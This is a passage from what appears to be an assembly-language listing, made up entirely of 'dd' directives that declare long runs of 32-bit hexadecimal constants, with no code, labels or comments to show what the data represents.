		dd 1BCCDC7Fh, 30F9C9CBh, 3600ACB0h, 89AB2B80h, 178C881h
		dd 48AF7267h, 38174154h, 950E007Ch, 407F3C5h, 7ABE2C81h
		dd 0B3A401F8h, 70710BC4h, 200FCEAEh, 7260D0h, 0D2408817h
		dd 0E28E0754h, 307B7EDFh, 81E8D56Bh, 80344Ch, 0A24127DDh
		dd 7292352h, 3A4A6CCDh,	6EA7E1D1h, 342D30h, 70E09857h
		dd 27B83EE5h, 20909CD2h, 4802148Fh, 861C2D0Eh, 8D8E04Fh
		dd 0D1AE17D7h, 0E0B087A0h, 58749AB2h, 0C3627600h, 0C12719DFh
		dd 36CB87Dh, 1020BAA0h,	9DC19206h, 7D883C53h, 281CE06h
		dd 1D14BC9h, 9CF7E6ABh,	6A8ED36Bh, 0E0086203h, 4C0BD7Dh
		dd 0B4FB95h, 6BF1D711h,	0B5D80A27h, 41ED8702h, 0E0B9B737h
		dd 0E4EFE1h, 14455049h
		dd 9D601B2Ch, 89929100h, 158716A8h, 1D49429h, 0C9DA6C71h
		dd 0C40A00F3h, 0BE9A0094h, 812046B8h, 0DB003C4Fh, 22A078EEh
		dd 0B6C1C8h, 47976FF8h,	75605749h, 13CBB58h, 0D941043Bh
		dd 0A9DC7231h, 0A7510078h, 4CC8B995h, 0B80E8912h, 0E0E4FCB3h
		dd 719AA2Ah, 1FA4003Fh,	0E10A2170h, 9002D87Fh, 463BD705h
		dd 0B0ED6387h, 2CC61581h, 6188A139h, 0F44793C5h, 2C025CB7h
		dd 5878BF55h, 7A2CC0C7h, 2AD4070Ah, 80140CF4h, 0DCA5A16Fh
		dd 6E166207h, 0BEC2ECCBh, 0B880C360h, 1D81Dh, 7242B209h
		dd 0F4660B9Bh, 0E8BD3D07h, 0E29F6ED7h, 0FAF78916h, 0AC57189Ch
		dd 0C90D419Eh, 68E0DE0Eh, 8339A0E8h, 90623Fh, 155DCC88h
		dd 26272472h, 80F1123Fh, 190AEC4Ch, 0ADDD6Fh, 0EA2285D3h
		dd 3E35E4A3h, 0A425EF00h, 78BCD22Ah, 0D4AA00B9h, 67ECB04Dh
		dd 0C700DC5Ch, 4D13C3Fh, 9CE94Bh, 0C60C3101h, 0F5D61FDDh
		dd 7C138D78h, 6C20849Eh, 0A00A04B4h, 942388h, 1F16DB39h
		dd 0FCC7E8AEh, 40376E03h, 0C8245Fh, 0F621E5E9h,	0B22A332Eh
		dd 2B695A01h, 734EEF5Dh, 879DF18Fh, 7BABC05Fh, 6EF78E94h
		dd 78EA5512h, 79E06CC7h, 6F97D7h, 0BE379BB3h, 7EA4F05Fh
		dd 1500EEE4h, 3592FB9Fh, 3D2C7B8Dh, 100368BAh, 0EE26AC81h
		dd 6EA8EF99h, 940B2100h, 0DDC76Ah, 5DFC20DAh, 0B058A73Ah
		dd 0C9681400h, 5E46D972h, 0A44C030Bh, 8301511Ah, 41B37880h
		dd 951DA500h, 0D97AFEE7h, 0A42300EFh, 0FF302AA9h, 431F66EEh
		dd 764F11B7h, 4D8B80C0h, 166C3E2Ch, 7CDBA0h, 0C56BCE75h
		dd 0E8001960h, 7BE44025h, 382DCD6Eh, 7F4DEE6h, 804AB1F7h
		dd 5011D7D9h, 85886A33h, 0C8CD71E3h, 0A900FCF6h, 0D1245327h
		dd 0F2F1EA8Bh, 69A70345h, 2965EC4Fh, 8FFABAE0h,	0D4604Dh
		dd 0E564E861h, 4CF09E2h, 207F7583h, 288F658h, 509A1CA8h
		dd 41D78016h, 3B7AE0h, 5A6245C3h, 0DCE43F49h, 0EBCEAD0Eh
		dd 0F6BE419Dh, 3860F71Ah, 0C8A14129h, 9200BF77h, 0C27AAA11h
		dd 0B8620957h, 2A2E0098h, 19E1A2ADh, 63048F2Fh,	91E87F56h
		dd 997540C0h, 15F91DB5h, 0FC2425h, 0AFEEC955h, 5A494CE2h
		dd 0E4E10004h, 46F9CDB4h, 0DE984C92h, 21B3350Bh, 9C525480h
		dd 740CE00Ah, 5896124Ah, 0D3F500A6h, 5C6A5E5Fh,	0BD3D8920h
		dd 0BB55800Ah, 4E392D07h, 0F6221CC7h, 87E792E4h, 0E0CEA060h
		dd 0CC005835h, 0D41192Dh, 279BD86Dh, 6080648Ch,	359A23D3h
		dd 0C73BA11Eh, 0F403A2C0h, 40290266h, 3E000B0Ah, 4F1DE842h
		dd 0F792A854h, 0BBDD8440h, 0CD23003Ah, 0B95242D7h, 2600776Dh
		dd 0E4B0ADBh, 1D2E7F8Ch, 434C86h, 0ECED68EAh, 9700DBD8h
		dd 3E44CCEFh, 2C8759h, 47131ADEh, 0FEA41F7Ah, 75002FF2h
		dd 0E4EC25C8h, 5C3BE55Ch, 7B00A38Ch, 0D64C5EA4h, 7500C181h
		dd 79310CB0h, 96F0BFh, 21EDF352h, 0D663D06h, 8AFBCB00h
		dd 0B070DCB7h, 259A00E6h, 562894F4h, 0D07F6FC5h, 34075973h
		dd 0AF0EE69h, 0BCB28880h, 3E073942h, 40DEA200h,	0CEB3BC4h
		dd 0FFBFB000h, 30D35793h, 3A8F7948h, 0F7008CC3h, 0CE757F2Eh
		dd 5B00ADC6h, 5C11030Ch, 0B0E4CCh, 0F8C2E864h, 0A23F5130h
		dd 32A0FE01h, 84F9DEA6h, 146A834h, 0CF49EFB4h, 0C075FB3Ch
		dd 725CCAC4h, 26ED05C8h, 0D2C0BCA9h, 72DEAE4Fh,	0A1A303C8h
		dd 51FC88C1h, 4CA405C8h, 324FBD00h, 0F45F9CA2h,	0C7F8C5h
		dd 0E730603Dh, 0BD41B1C8h, 0D6F12E00h, 4421B836h, 881F0083h
		dd 5DCF1215h, 0BE016805h, 0B7DF6665h, 0AEC32D9h, 741600F1h
		dd 21E3EAAEh, 0F5582FA6h, 0EFF0088h, 0B5CA1BF3h, 0C1BB8A5h
		dd 8DA3F4E2h, 83009DB9h, 851580EBh, 255E5678h, 78804004h
		dd 0BEC86001h, 0D27AD898h, 0FE49B17Bh, 97CE005Ch, 0CC1E9209h
		dd 0B3710050h, 0C8166A78h, 4801BE61h, 39699D19h, 0FCE060CFh
		dd 0F8F41D5Eh, 0E5AFC05Dh, 3B32D6D0h, 15F5FA0Fh, 802D40E0h
		dd 79B57025h, 0CCB6481Ah, 960EE200h, 0FDC53DA0h, 0FCDE1E00h
		dd 0A41D6856h, 485EABh,	0F92C8E48h, 98F0C051h, 30280409h
		dd 90C480C4h, 0FC52EAh,	0B7C57FB9h, 0DB8DB17Eh,	0BED8790Ch
		dd 26F9833h, 21CA8E57h,	4EC06BF4h, 0DF3DE31Eh, 502EFE5Dh
		dd 3089A898h, 0CE482h, 0E6D04D35h, 0B7B658A8h, 12463A00h
		dd 0DA68B9E1h, 25D907EAh, 65C342BDh, 0B544F0B4h, 0BEED7D1Eh
		dd 782483BCh, 0B8E2AE12h, 0C59830h, 9516DDADh, 9CCBEADBh
		dd 133CFC5Ch, 5300225Eh, 0B8BD6049h, 0DE8B0008h, 0C802D31Bh
		dd 0E1000119h, 544688D1h, 51F41Eh, 0CE30B2CCh, 0C5039F39h
		dd 0FBDC2D0Ch, 7A8CA0h,	8C1BC74Ch, 3F108031h, 3E8F071Eh
		dd 40E0504Fh, 0A8EC497Ah, 1CF003Ah, 0AD19B70Ch,	0B6010859h
		dd 0D27B5C7Ch, 1C2071DBh, 820D02D4h, 326B2CDEh,	141EC6E0h
		dd 0CC49D203h, 981967FAh, 562E36h, 0CB8D9F3Dh, 9BADFB09h
		dd 694DA600h, 7F44B2EDh, 271300B6h, 0BC2B7EAh, 78048812h
		dd 0E1221AD1h, 7288A4h,	9DDE73A6h, 51F06013h, 49C48412h
		dd 8B4C0070h, 0BAF852h,	41F74055h, 0A5540D7Ch, 8970262Dh
		dd 4D03Bh, 165E51C2h, 4367743Fh, 5FEEDC00h, 821ECDD9h
		dd 0E49F3EC0h, 29349100h, 308B9059h, 97255C00h,	0D80D7164h
		dd 80693E47h, 0D678B400h, 0E857587Dh, 0E0B67216h, 88C51000h
		dd 1E4D25ECh, 4014C7CDh, 0FC284AA7h, 4942CABh, 90F5EE80h
		dd 5C3C7B46h, 0B875082Ah, 29B01D78h, 0E923C1D2h, 0C4F6B1A6h
		dd 0D400E8C8h, 69BD4FC9h, 0F793CAh, 0B89B341Bh,	4018A56Eh
		dd 0AF30701h, 0C25A8E39h, 1CB2BADCh, 4003FF60h,	3E376441h
		dd 51000CFEh, 236881E0h, 27BC5E8Dh, 9D534Ch, 104B88C2h
		dd 7D02B483h, 7046606h,	0E48CC04Dh, 40AF072Ah, 0A1FE081Dh
		dd 29F6206Bh, 0D836B054h, 0E57A3E16h, 0A01D2A83h, 0D4A84E02h
		dd 403929Bh, 0F6366BF9h, 0C9278834h, 0B7240F71h, 405F95BEh
		dd 0EDE9E0ABh, 33009A9Dh, 66FA09D3h, 0AE235Fh, 0E82AAA84h
		dd 5408E3F3h, 1E003B90h, 9D86CC42h, 2CDDA1h, 0ADF6BF18h
		dd 36E2BBD3h, 7882EA05h, 8F806334h, 58DBF0B4h, 4B00937Ah
		dd 0DAA643F8h, 0D600EED1h, 65926A29h, 708C37BFh, 33B900D0h
		dd 51E8BAAh, 3548A19Ah,	8E451E09h, 78B0C380h, 0E80258h
		dd 660A77EDh, 1EB56C99h, 0D748E000h, 50F1EBB3h,	655C0EE8h
		dd 0DEA09F47h, 8C995441h, 1500C378h, 5B04B2ACh,	36EE5A8h
		dd 2AE7B6ECh, 11802B5Eh, 80E2F3A4h, 553E0201h, 4F7AEEA6h
		dd 0F93BFCh, 1FAF7729h,	5220ED65h, 9776FE01h, 48D1CA24h
		dd 2D8D3C0h, 74B21134h,	0E17E8Bh, 99EE0DBh, 7A685200h
		dd 37053A16h, 0A5690036h, 23C10FA1h, 4100B313h,	81D35BB1h
		dd 7714FA8h, 0AD442852h, 12BD10E4h, 0DEF40EC7h,	0F95DFE00h
		dd 2C560333h, 0FF7A004Bh, 0A2EEEA9Dh, 0E000311Fh, 8E55B124h
		dd 19B236h, 0C0A32708h,	2E3D91Eh, 0D054A500h, 0E8ECBE92h
		dd 0CBE88Eh, 0D1E54BA9h, 50365129h, 8808CE00h, 5FE82673h
		dd 97E90141h, 7618632Eh, 33B020E1h, 0F99B4501h,	0DB8774Ah
		dd 1E4308CCh, 40EF0307h, 27426515h, 8A009136h, 0F6710C6Fh
		dd 199E3AC5h, 116E240Eh, 43AC40B0h, 0FB034EEAh,	3113010Ch
		dd 9824C046h, 1C680011h, 0A353E11Dh, 88002EE2h,	2F0341A6h
		dd 3ED412h, 1EECF44Fh, 879718DDh, 0F880B74Eh, 0F24A8059h
		dd 9FD7003Dh, 4FE50B41h, 1E7B57EAh, 6900AEE0h, 26CE85CFh
		dd 744C0673h, 3FBD0022h
		dd 171BBCC1h, 0F20220CBh, 0F7FCD3B8h, 43AA809Eh, 98A21D6Ch
		dd 987AEEF4h, 1A3E00E4h, 0AE32E968h, 3D00EFE8h,	6BEB019Eh
		dd 6C24DF6h, 5D862875h,	0D1009882h, 9DF0838Fh, 0FEC5A684h
		dd 7EA006Bh, 854B0945h,	68007689h, 287EE7A2h, 10E8BD0h
		dd 6E8A845Dh, 0E0DFFF56h, 763C0AF4h, 91D0807Bh,	0DAF7949Ch
		dd 71751C25h, 0A8283E43h, 0FCB63E0Ch, 0F38CEC85h, 0E8D8808Eh
		dd 0DC01606Fh, 0BEF54F30h, 19808FD9h, 475F95C7h, 171E7CB7h
		dd 0A59F1558h, 8F4A7A00h, 1C74006h, 0D1F4A720h,	3F59BC6Ch
		dd 8846E000h, 3338950h,	0E191108Eh, 5781F3F8h, 3E73E463h
		dd 254D7500h, 8665F660h, 0BD75B8h, 0D7A30515h, 40A6A8C5h
		dd 6A7FF900h, 106D6F5Ch, 2A730030h, 0FA621F93h,	8901F7E3h
		dd 0C8E9CC70h, 9ED0FCBCh, 7FE205h, 0ADD7E647h, 0C2D18EF7h
		dd 0DCDD0805h, 0EEC33114h, 3DB5E098h, 15F30099h, 0BA7E701Ah
		dd 0AF0F3260h, 605488EAh, 0F894AD1Eh, 0D10003Fh, 7F8E9F87h
		dd 0D100AF16h, 0FB9CE914h, 0FB445CCAh, 1F383022h, 4A2F6309h
		dd 540C0500h, 5C7A1CC6h, 327B8C02h, 40A75038h, 0B02914h
		dd 0B4FF677Ch, 853645D6h, 99C43A00h, 0FAD193B6h, 0CE711D73h
		dd 0B72680CFh, 2236B229h, 76791100h, 3938556Bh,	0AF980067h
		dd 0D97C1426h, 0AD01A963h, 6A574091h, 0CDE06CC6h, 9E8D1C94h
		dd 540BC0CFh, 964BFB32h, 0D507DD77h, 56B33462h,	28ACBE45h
		dd 0DC546D00h, 0D18C3A31h, 0D8813B30h, 3D209F4Dh, 8707AE1Dh
		dd 0C0D7EC9Eh, 0F54A88FAh, 23B55C0Bh, 5B706091h, 84E50FA5h
		dd 37A5D51Ah, 802C029Eh, 6F02273Eh, 82C010E9h, 44B6CA88h
		dd 0A20466E8h, 0DD23B8DFh, 0C7B9F930h, 84470B80h, 3F7BB410h
		dd 9B6FF308h, 0AD264484h, 1E638608h, 6CB08E72h,	61594039h
		dd 21248120h, 48049CCFh, 70739D1h, 0E080C880h, 87AA65D0h
		dd 0E2318612h, 3185B110h, 0CA55E908h, 0A2F184h,	54193229h
		dd 58A8009h, 0CF3DD2D7h, 0B8820050h, 64C0AA31h,	0A40035F8h
		dd 0BB8C614Dh, 0F0B45EDAh, 6F7FE6Bh, 3F5875ECh,	560181B0h
		dd 0C55A6EBDh, 0C88082F0h, 34E45812h, 88006DB6h, 0E85FA2DBh
		dd 1E139F8Ch, 0ECB476DDh, 0A41E1FBAh, 57D00004h, 0A4D992ADh
		dd 9BF5001h, 0A69A6CEh,	7B0EA9BFh, 0FFA1D5h, 1EE289A2h
		dd 4E13AA6Dh, 144A8DACh, 141E08Bh, 2824DA0Bh, 3B35757Fh
		dd 1200EAA2h, 2B04C23Ah, 0AF0BBDA5h, 0C02040B2h, 1FD8E818h
		dd 8F9AF5C4h, 3C60FD37h, 0F1587C3Fh, 9C200460h,	0D08A4Fh
		dd 0D7E9AD82h, 52FFEEEh, 0BA5042FCh, 870381FCh,	611369B6h
		dd 88100DDh, 92518415h,	500629Bh, 1276275Bh, 7C950790h
		dd 0C9173882h, 28D08B80h, 7520A1E7h, 0A968C000h, 0AED8979h
		dd 0E253F94h, 4D2ACC80h, 0A8E3DBDDh, 61C9D800h,	22A9219Dh
		dd 0D7280064h, 5D0AFCCCh, 0ED00381Fh, 0EEF47040h, 784BE7C5h
		dd 509549A9h, 407D0B12h, 0EB895B08h, 0E70094A0h, 2217F319h
		dd 8D0963h, 28AF53EEh, 6159E0Eh, 76F76838h, 3C2CC6FCh
		dd 4F002136h, 1ABA7840h, 23FC3C27h, 5E562C09h, 10730D86h
		dd 0BD049453h, 7CC62FF8h, 0AB070162h, 0EEE20FB9h, 0C0BFD341h
		dd 4CC70675h, 0D93D9A00h, 8B33C6Ch, 292B602Eh, 0C6AC4475h
		dd 456E9200h, 0EA41BAA4h, 977FB0h, 75F5138Eh, 0A0CFD8F9h
		dd 4B65380Bh, 628F0034h, 7BA278h, 1ABF3B01h, 0BB3DFB58h
		dd 5B13950Fh, 7D7AEFC8h, 0C56245C0h, 163B4142h,	118F79h
		dd 80E60435h, 0EA7220C6h, 3A582500h, 75AE9618h,	9294008Eh
		dd 0C8DDED1h, 0C9014EB3h, 76B8245Eh, 0B4C8E1BFh, 0F237861h
		dd 9A6D2F22h, 1C7568E2h, 8750D048h, 3600A3E0h, 0D23C80F7h
		dd 16A7AA2h, 0B79C04D0h, 0D11FB475h, 0A39AD471h, 2D02B6ECh
		dd 31DA5576h, 0FD374068h, 97F00E3Ah, 0A9226D0Eh, 9EE0840Ch
		dd 0A400510Fh, 0C5CBD6A5h, 6DFB299h, 72E611A7h,	0BA0F0ADEh
		dd 0E030AE9Dh, 0CBFD33CFh, 0C9C800D4h, 0DB87604Bh, 7EF4DF2Fh
		dd 0C0D09900h, 1495E1F3h, 9A351D0Ch, 9D00BA34h,	5E15389Ch
		dd 0FE18D39Fh, 0C6F6B4B0h, 6979BEh, 462CD079h, 9FE3D457h
		dd 7442771Dh, 0A6A30B82h, 0A08FE356h, 55B198h, 20FE52F6h
		dd 87BA86C2h, 65298400h, 91BDE24h, 0BC260B54h, 6D8FFAA2h
		dd 5E4EA320h, 0EE037787h, 0E6E9A7BEh, 0BE80DC5Ah, 4495E3h
		dd 4CE02AA8h, 0C36EB858h, 8060660Bh, 2FF8BFh, 18729DE7h
		dd 9C12740Eh, 7A18638h,	19E55DD3h, 13E9D541h, 1B818840h
		dd 376200B5h, 0EE8AB204h, 0D0005A7Fh, 0C08B1F5Bh, 0FE19D6h
		dd 96C11570h, 2928017Ch, 0C7008074h, 0E3E8BC9Dh, 0BE7F18h
		dd 0FEF42438h, 0DC434F63h, 90D0C00h, 0F79544E6h, 0D32E00E7h
		dd 0F1451338h, 3D76CD22h, 498FB600h, 20CB57B4h,	3BE700BDh
		dd 2ABEBBC9h, 0E6002CA9h, 0CF5E04CAh, 0EC1296h,	8D4CEB92h
		dd 0FC988068h, 7B6FD703h, 0E061D518h, 3C5C2205h, 68008676h
		dd 0F690B0EFh, 0A09462Dh, 805F3557h, 7336B54Ch,	52810015h
		dd 0A21603EEh, 310F8F6Dh, 0E0D3978Bh, 4A70342Bh, 5EFF00C3h
		dd 3CBCFE18h, 0B30066ECh, 5804C58Dh, 31A92AAh, 94112687h
		dd 88D8F7A2h, 0CEC78064h, 0D2A00F66h, 3B2042FCh, 0C8073E89h
		dd 2948A004h, 68D7B200h, 3100E398h, 5379106Bh, 22E16Eh
		dd 0AF2381C5h, 67845782h, 16FA2505h, 0C0BFE6D0h, 0FD7DD4FEh
		dd 0A3340700h, 82986C09h, 0EB0E5C2Eh, 3FAA1900h, 5285E7CBh
		dd 8C4AA4A0h, 43B48h, 0AAAC8D34h, 986BC432h, 3541FBBh
		dd 0DD88C014h, 5E358C06h, 80A7EF3Bh, 2E6257AFh,	376AB8A4h
		dd 126ECE86h, 7060CA3Fh, 60222E9h, 64EB1309h, 6DF841D3h
		dd 0F500BBF5h, 41009AE5h, 236CF2C2h, 13F68CEh, 946062B2h
		dd 40EEF5F4h, 3A8A72F6h, 0A5D7220Ch, 0F063808h,	0EE9CA655h
		dd 63DDD400h, 750E877Eh, 0E073415Ah, 0E7094C2Dh, 0E3E40051h
		dd 4DFECEC2h, 7D1C0F69h, 41008101h, 2F2976A1h, 0B2850087h
		dd 80B54F75h, 0D9E0A61Ch, 9F093B3Bh, 53808A8Dh,	3CF84AFCh
		dd 8401008Ch, 0D3DDE11Ch, 0CF00F40Dh, 8D6AA799h, 92E240h
		dd 0E764F726h, 25A1C255h, 3CF878E6h, 99FEA400h,	0C4DC8B7Ah
		dd 0C5130043h, 0B2C1539Ah, 81008460h, 20ACDFDAh, 741AF53Eh
		dd 15630033h, 697B9E1Eh, 79F4299Dh, 0C42A8E02h,	4265373Ch
		dd 3A40099h, 9BB698h, 0BCA8E1E5h, 0BB9F51CBh, 45882D00h
		dd 0B8C0946h, 0F0F6001Ah, 7249E6DAh, 4B48772Fh,	0EB23E90h
		dd 0E0B93137h, 0A31F4379h, 5F9C1FD2h, 8F0F80DCh, 8B74DD45h
		dd 0A54544Ch, 0DC5B2531h, 0F9183F40h, 0C37F07h,	2DEE5A89h
		dd 224421Eh, 683C4A00h,	0FDF39117h, 0EADC00A8h,	0A0E9205Ah
		dd 1E3D2E04h, 147607FEh, 694316h, 8BA44A58h, 0F72F0248h
		dd 65887CEh, 27A85043h,	597FCDEFh, 0B5CAFA07h, 92A019E4h
		dd 48C5C761h, 81C7ACA3h, 33BF017h, 0E877C1AFh, 29059198h
		dd 56C7F06Ah, 1B45D807h, 439706E0h, 187E28Bh, 0DFB91424h
		dd 0DC11C47Ch, 7F00ADE1h, 52C31A5Eh, 7E1B4207h,	75131E72h
		dd 8C23031Fh, 6B90C8B3h, 7476B00Bh, 22988E14h, 12707CAh
		dd 910013FEh, 0F6CEC4h,	701FF58Ch, 80EB793Eh, 9B71E900h
		dd 0AB8B099Dh, 3C0C006Dh, 36F88D51h, 0B61E38D0h, 238016BBh
		dd 0C0E256EBh, 74090F2h, 0B8A18374h, 1CF150BEh,	0FE07CD61h
		dd 0A55E549Eh, 0A75807F0h, 92C30EA0h, 4200BF70h, 0A65A298Dh
		dd 3AFAE315h, 2FA550A8h
		dd 6A0FFB03h, 9802257Ch, 140D98h, 9B89F2F5h, 0ABD88DB6h
		dd 6AED4800h, 7C2ED127h, 0A77A74h, 9B6BB2EAh, 0D8131D45h
		dd 56E8601h, 8041B926h,	49C05C61h, 535930F5h, 0DF79F870h
		dd 17116401h, 22A4B8E0h, 11121898h, 0CA40A698h,	9BF077h
		dd 0D635EE03h, 89C1BA61h, 50A9CE14h, 0C6D100BBh, 3C2901D2h
		dd 0DD8300ABh, 27DAC52Ch, 120051B2h, 0EDCBE467h, 0CBC7F0Dh
		dd 45AC53F7h, 0C926AD90h, 4400DD9Ah, 3E5B3657h,	0FFF6167Bh
		dd 0B5FD00E1h, 64AFC3ACh, 0E2EB0600h, 5B2220E0h, 50BAEEh
		dd 7706ACAh, 48317C47h,	0C85C4D00h, 0DF06F845h,	6EF482h
		dd 248EE56Dh, 0D4308747h, 97EC3Eh, 0E804A637h, 0AE59B1h
		dd 56BD45D6h, 4E14DD08h, 0C5DEB900h, 7D6F71A0h,	0D9590057h
		dd 3644F9D7h, 98000C99h, 582E7887h, 7CFB8C30h, 717EC9Ch
		dd 3C5A0F16h, 3F8480CDh, 2F2DC1Ch, 1DCC4D00h, 8D89446Dh
		dd 3D17B7Ch, 8F6341A9h,	9FD8577Eh, 0E27076E1h, 80C9C300h
		dd 6C84FD3Fh, 0D91D01EFh, 6FBFE0A5h, 605C60F8h,	2C7A10FEh
		dd 580E78E4h, 8467E486h, 2480A5E1h, 0BB82Fh, 75BF3DBAh
		dd 3217004h, 0A7C75600h, 7BB93A73h, 9A9E01DCh, 6E87F0CEh
		dd 6E6D426h, 0CC1BCA00h, 284CA1EFh, 0CB800158h,	0CF81CD2Dh
		dd 152080DDh, 1812F8D9h, 52490040h, 45571B9h, 20138BFh
		dd 81FD6361h, 0D040127Dh, 24F75054h, 80408583h,	3FFCB2AAh
		dd 430CC233h, 8BC4951h,	0F0892B3h, 7AFD4F8Ah, 5DBB6683h
		dd 5A982F90h, 0F8DD6Eh,	212A01CCh, 0E879480Bh, 0EF855201h
		dd 81E22D40h, 0FFD5E180h, 3180D981h, 0AD89146Ah, 2100DFE9h
		dd 4E282C24h, 0E3BA1064h, 1DBF6B60h, 8080C2B6h,	33A11739h
		dd 0B300AE86h, 0C381FE96h, 0A8D4164Bh, 4FCD760h, 372B2DDAh
		dd 29572250h, 0BBFCEE00h, 5A01C180h, 560EA54Dh,	60BE8523h
		dd 0BD34181Dh, 0B73FCA80h, 86327003h, 21EBA200h, 5547BDAEh
		dd 8E9001Fh, 0ACD84D57h, 5D00C28Ah, 0B90A95E0h,	7537F35h
		dd 0D9DF55E8h, 191530F3h, 0BA00A8BDh, 58A17831h, 0B11856h
		dd 47C97986h, 46F0D0DBh, 21988303h, 0D02F1D36h,	7131B7E0h
		dd 0D4240F4Dh, 0C09DE5B2h, 40C78A98h, 0E8003A9Bh, 0EE72D96h
		dd 0E85CBBFh, 75F91F2Eh, 0C37395E2h, 5C25EA60h,	547A8200h
		dd 2E2BA547h, 0AA780041h, 0B943E687h, 6207503Fh, 0F2A2CA35h
		dd 27562E00h, 58A7F64h,	1A2B75D4h, 698780F3h, 0A30FB593h
		dd 0A34E6F6Ch, 0E88FCE56h, 0E0679266h, 685C0752h, 6061E833h
		dd 50219A49h, 0F18A3Ch,	14560CFCh, 0EBC79FFh, 4CCA7888h
		dd 201ABFC7h, 0F824E710h, 64D32105h, 0DEC058FDh, 6730D4h
		dd 44999A33h, 744635A6h, 80851C07h, 0EBF18BC4h,	0C080710Fh
		dd 9F344AC7h, 5D002EFEh, 0A1282423h, 0EF4EFDEh,	0C3740D07h
		dd 0B376BE23h, 0D2DB8900h, 412FBAE9h, 78B400F7h, 30060D8Fh
		dd 31006E4Eh, 0AE475911h, 0E842EFAh, 0E4CC624Dh, 0B1309680h
		dd 0B01443Fh, 0C9D4DCBCh, 9C40FD3Dh, 764022CDh,	4AB30758h
		dd 0C0FF28A1h, 0A529C09Ah, 0B8EB5F00h, 75986AC8h, 827306C2h
		dd 0B9673DF0h, 80BC563Ch, 1ABE6DD9h, 6F7A26h, 9FF34B88h
		dd 0BCB6C4DBh, 0B316800h, 393CB4B3h, 3D17009Ah,	0CDC5E6E3h
		dd 160035D4h, 4DDFD55Fh, 38C7CEh, 0AB29FF58h, 456B03DAh
		dd 0F0C0AA00h, 43D92B67h, 0A8280076h, 2C501B7h,	0F70022DDh
		dd 0A619376Bh, 75BBA772h, 404D0159h, 14A94CB2h,	0C2B03ED6h
		dd 561100C6h, 7EF0F177h, 0CB015A0Bh, 53C3FAD9h,	5E805F5Dh
		dd 46E8E5A9h, 4C3D5481h, 0F4E3007Ch, 0DEE9900Ch, 0BE6B00ECh
		dd 946D6312h, 0FD3F4E5Bh, 0D9641EB1h, 7101F396h, 490C3316h
		dd 0B86248D8h, 30B3006Dh, 515ACACCh, 3B00361Ch,	87ECDC6Ch
		dd 0F81B7043h, 355B3089h, 0FB4BD918h, 2B0333F2h, 0BAFAF3DFh
		dd 48D8756Eh, 1D002644h, 5B1BBC48h, 0C0007C4Dh,	0F98047B3h
		dd 0B0D9ECCFh, 0AC510034h, 0C10553D0h, 48002059h, 5EE5A773h
		dd 0F8340DBDh, 96FA199Ah, 0F82A1845h, 4B00E117h, 1033B706h
		dd 1D214426h, 0C0B9CEF0h, 52E291Fh, 2C00666Ch, 0B7EB1EF4h
		dd 73BF587h, 49A4F659h,	0B89BC0FFh, 500104D9h, 0EEBE7AC6h
		dd 3080D34Dh, 9562AB67h, 3E1E7582h, 0C780CD90h,	514905F8h
		dd 0FA7F013Ch, 0D0A29FD2h, 2271D8B8h, 70024Ch, 242D445Bh
		dd 1E3D31Fh, 9BD1813Bh,	30174EC4h, 3D0452BBh, 41942514h
		dd 8407D9C0h, 96EC0032h, 8FD6BDC6h, 0CC306545h,	2AE38823h
		dd 10C71FBh, 0CB7617EFh, 0D4EEEB1Ch, 8B00C691h,	0CDD4893Ch
		dd 300D1850h, 59387526h, 387F1402h, 0C2308E7Ah,	0C852C8A0h
		dd 85480434h, 802D55FFh, 767E096h, 0CF059300h, 0C16CCEDh
		dd 85B900A1h, 0C57ED790h, 170E5DB0h, 80243B34h,	72094582h
		dd 2646C02Dh, 5BF330ECh, 3F8E7000h, 0CC07F17Dh,	0CCF0032h
		dd 4015D0FEh, 57004F0Eh, 7637F32Ah, 0FA6CE3h, 0C35F6355h
		dd 0AF17F63Ah, 0C93FFF00h, 58318D93h, 6054011Ch, 1E41C21Ah
		dd 8204EA4h, 60DC9922h,	616E975Bh, 0CDD0B200h, 6714ACE5h
		dd 5420073Eh, 7005362Eh, 1DA88FEBh, 0FC16FD39h,	0AAA76300h
		dd 0A99BFF70h, 89D0046h, 0F1E1B1BAh, 7CF48032h,	346683A0h
		dd 361FAF78h, 50C072A7h, 10E3326Fh, 6C09C0A4h, 0CBE59D93h
		dd 0F554D700h, 7E940104h, 6E640281h, 0F6C9EA52h, 0E71D9880h
		dd 0FFA3F1C8h, 80F4C791h, 16A039E1h, 0E331EAh, 0AF3E60E5h
		dd 761DCB29h, 0F80E3F31h, 0BCC8C17Fh, 47A906A0h, 0B8CB5F48h
		dd 0D84A801h, 123B7CDAh, 570616ECh, 8C02800Bh, 0A9D50851h
		dd 6C2B1836h, 0A03190B2h, 173ABD00h, 4BF69713h,	0FA328809h
		dd 4371C11Fh, 8299FD00h, 0D334E2h, 0B3E75B7Fh, 3BD10AF1h
		dd 51B63200h, 66822A97h, 962F1FEFh, 7F83C3E0h, 0B98D937h
		dd 0F55453BBh, 3A0A5E80h, 20F05BB5h, 0E9915570h, 401310DEh
		dd 0EA288707h, 1DCFBA75h, 69D0503Eh, 630D44h, 0EBD14F5h
		dd 1279AF37h, 11AC9203h, 0B988C3B4h, 0FCE13E6Ch, 0D7CDFCh
		dd 0CF6452A6h, 4C61AA5Ah, 2CDBEB1Eh, 0EA00ED68h, 0EE6C11B1h
		dd 3E62A66h, 33149EBCh,	5AD81AC3h, 167E0192h, 2311F00h
		dd 0E788798Ch, 24DA00CEh, 0BF3AF3CDh, 32000E65h, 0B434D344h
		dd 2B5EB66h, 0D2DD5E4Fh, 0C541FC18h, 998ECECh, 6D470300h
		dd 42068C51h, 0F9AC019Eh, 74FEEEAAh, 41424FCh, 0AE1A39h
		dd 785C3D6Bh, 1678F47h,	0B00C9F1Fh, 0CCB192DAh,	56051A46h
		dd 0F2282B2Ch, 656D8C02h, 0C456E05Dh, 0C016003Eh, 9DDBD464h
		dd 0BC048AB5h, 0E43992C9h, 46C76C80h, 0A08300E6h, 0E0B8D4C6h
		dd 0F70C7331h, 0D1661942h, 0D8470EA3h, 0B0A07148h, 0A4EE8CCCh
		dd 0CFE0F47Bh, 13C70100h, 0DC9E080Fh, 9B82009Fh, 312D8A73h
		dd 5B0046ACh, 0A6997034h, 0BC75B3h, 399B1C2Fh, 0A8851D8Bh
		dd 64E22305h, 0C003AE73h, 0B0909CCAh, 3F9A280Dh, 0A680E9D3h
		dd 6A2792F0h, 4A591EFh,	0A4E32640h, 4C87283Ch, 813E00D7h
		dd 88AE0668h, 0F301C164h, 62F29A63h, 0AEC6AE2h,	0F4A70B5h
		dd 0F631D51Fh, 0E86687E0h, 76003B4Eh, 27031638h, 2868C7F2h
